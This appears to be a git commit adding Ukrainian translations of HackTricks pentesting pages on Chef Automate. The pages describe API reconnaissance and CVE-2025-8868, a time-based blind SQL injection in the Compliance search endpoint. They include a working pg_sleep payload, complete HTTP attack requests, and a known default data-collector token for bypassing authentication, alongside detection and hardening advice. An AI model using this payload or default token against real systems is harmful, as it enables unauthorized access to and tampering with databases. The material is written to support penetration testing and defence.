Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/REA

This commit is contained in:
Translator
2025-09-30 19:23:32 +00:00
parent 052b58743b
commit e6b537bc24
3 changed files with 160 additions and 2 deletions
@@ -0,0 +1,18 @@
# Chef Automate Security
{{#include ../../banners/hacktricks-training.md}}
## Що таке Chef Automate
Chef Automate — платформа для автоматизації інфраструктури, відповідності та доставки застосунків. Вона надає веб-інтерфейс (зазвичай Angular), який спілкується з backend gRPC services через gRPC-Gateway, забезпечуючи REST-like endpoints за шляхами на кшталт /api/v0/.
- Поширені компоненти бекенду: gRPC services, PostgreSQL (часто видно через префікси pq: error), data-collector ingest service
- Механізми автентифікації: user/API tokens та заголовок токена data-collector x-data-collector-token
## Енумерація & атаки
{{#ref}}
chef-automate-enumeration-and-attacks.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}
@@ -0,0 +1,142 @@
# Chef Automate Перерахування та атаки
{{#include ../../banners/hacktricks-training.md}}
## Огляд
На цій сторінці зібрані практичні техніки для виявлення та атак на інстанси Chef Automate, із акцентом на:
- Виявлення REST-ендпойнтів, підключених через gRPC-Gateway, та виведення схем запитів за допомогою повідомлень валідації/помилок
- Зловживання заголовком аутентифікації x-data-collector-token, коли присутні значення за замовчуванням
- Часозалежний сліпий SQL injection у Compliance API (CVE-2025-8868), що впливає на поле filters[].type у /api/v0/compliance/profiles/search
> Note: Backend responses that include header grpc-metadata-content-type: application/grpc typically indicate a gRPC-Gateway bridging REST calls to gRPC services.
## Розвідка: архітектура та сигнатури
- Front-end: Often Angular. Static bundles can hint at REST paths (e.g., /api/v0/...)
- API transport: REST to gRPC via gRPC-Gateway
- Responses may include grpc-metadata-content-type: application/grpc
- Database/driver fingerprints:
- Error bodies starting with pq: strongly suggest PostgreSQL with the Go pq driver
- Interesting Compliance endpoints (auth required):
- POST /api/v0/compliance/profiles/search
- POST /api/v0/compliance/scanner/jobs/search
## Аутентифікація: Data Collector Token (x-data-collector-token)
Chef Automate надає data collector, який аутентифікує запити через спеціальний заголовок:
- Header: x-data-collector-token
- Risk: Some environments may retain a default token granting access to protected API routes. Known default observed in the wild:
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
If present, this token can be used to call Compliance API endpoints otherwise gated by auth. Always attempt to rotate/disable defaults during hardening.
## Виведення схеми API через виявлення на основі помилок
gRPC-Gateway-backed endpoints often leak useful validation errors that describe the expected request model.
For /api/v0/compliance/profiles/search, the backend expects a body with a filters array, where each element is an object with:
- type: string (filter field identifier)
- values: array of strings
Example request shape:
```json
{
"filters": [
{ "type": "name", "values": ["test"] }
]
}
```
Некоректний JSON або неправильні типи полів зазвичай викликають помилки 4xx/5xx з підказками, а заголовки вказують на поведінку gRPC-Gateway. Використовуйте це, щоб зіставити поля та локалізувати поверхні ін'єкцій.
## Compliance API SQL Injection (CVE-2025-8868)
- Затронутий endpoint: POST /api/v0/compliance/profiles/search
- Injection point: filters[].type
- Клас вразливості: time-based blind SQL injection in PostgreSQL
- Причина: відсутність належної параметризації/перевірки за білим списком при інтерполяції поля type в динамічний SQL-фрагмент (ймовірно використовується для побудови ідентифікаторів/WHERE-умов). Сконструйовані значення в type виконуються PostgreSQL.
Working time-based payload:
```json
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
```
Technique notes:
- Закрийте вихідний рядок одинарною лапкою (')
- Додайте підзапит, який викликає pg_sleep(N)
- Знову уведіть контекст рядка через ||, щоб фінальний SQL залишався синтаксично валідним незалежно від того, де вставлено type
### Доказ через диференційну затримку
Надішліть пару запитів і порівняйте часи відповіді, щоб підтвердити виконання на боці сервера:
- N = 1 секунда
```
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
Content-Type: application/json
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]}
```
- N = 5 секунд
```
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
Content-Type: application/json
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
```
Observed behavior:
- Час відповіді масштабується відповідно до pg_sleep(N)
- HTTP 500 відповіді можуть містити pq: деталі під час пробування, що підтверджує шляхи виконання SQL
> Порада: Використовуйте таймінговий валідатор (наприклад, кілька запусків із статистичним порівнянням), щоб зменшити шум та false positives.
### Impact
Аутентифіковані користувачі — або неаутентифіковані дії, що зловживають дефолтним x-data-collector-token — можуть виконувати довільний SQL у контексті PostgreSQL Chef Automate, що ставить під загрозу конфіденційність та цілісність профілів відповідності, конфігурації та телеметрії.
### Affected versions / Fix
- CVE: CVE-2025-8868
- Upgrade guidance: Chef Automate 4.13.295 or later (Linux x86) per vendor advisories
## Detection and Forensics
- API layer:
- Моніторити 500 відповіді на /api/v0/compliance/profiles/search коли filters[].type містить лапки ('), конкатенацію (||) або посилання на функції типу pg_sleep
- Інспектувати заголовки відповіді на наявність grpc-metadata-content-type для ідентифікації потоків gRPC-Gateway
- Database layer (PostgreSQL):
- Аудит викликів pg_sleep та помилок malformed identifier (часто проявляються з префіксами pq:, що приходять від Go pq driver)
- Authentication:
- Логувати та генерувати алерти про використання x-data-collector-token, особливо відомих дефолтних значень, у межах API шляхів
## Mitigations and Hardening
- Immediate:
- Змінити/вимкнути дефолтні токени data collector
- Обмежити вхідний трафік до endpoint-ів data collector; вимагати сильні, унікальні токени
- Code-level:
- Параметризувати запити; ніколи не робити string-concatenate SQL фрагментів
- Строго whitelist-ити дозволені значення type на сервері (enum)
- Уникати динамічної збірки SQL для ідентифікаторів/клауз; якщо потрібна динаміка — використовувати безпечне екранування ідентифікаторів та явні whitelist-и
## Practical Testing Checklist
- Перевірити, чи приймається x-data-collector-token і чи працює відоме дефолтне значення
- Змапити схему запитів Compliance API, індукуючи помилки валідації та читаючи повідомлення про помилки/заголовки
- Тестувати на SQLi у менш очевидних полях, схожих на ідентифікатори (наприклад, filters[].type), а не лише в масивах значень або топ-рівневих текстових полях
- Використовувати тайм-бейзовані техніки з конкатенацією, щоб зберегти синтаксичну валідність SQL у різних контекстах
## References
- [Cooking an SQL Injection Vulnerability in Chef Automate (XBOW blog)](https://xbow.com/blog/cooking-an-sql-injection-vulnerability-in-chef-automate)
- [Timing trace (XBOW)](https://xbow-website.pages.dev/traces/chef-automate-sql-injection/)
- [CVE-2025-8868](https://www.cve.org/CVERecord?id=CVE-2025-8868)
- [gRPC-Gateway](https://github.com/grpc-ecosystem/grpc-gateway)
- [pq PostgreSQL driver for Go](https://github.com/lib/pq)
{{#include ../../banners/hacktricks-training.md}}
@@ -1,5 +1,3 @@
# GCP - Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}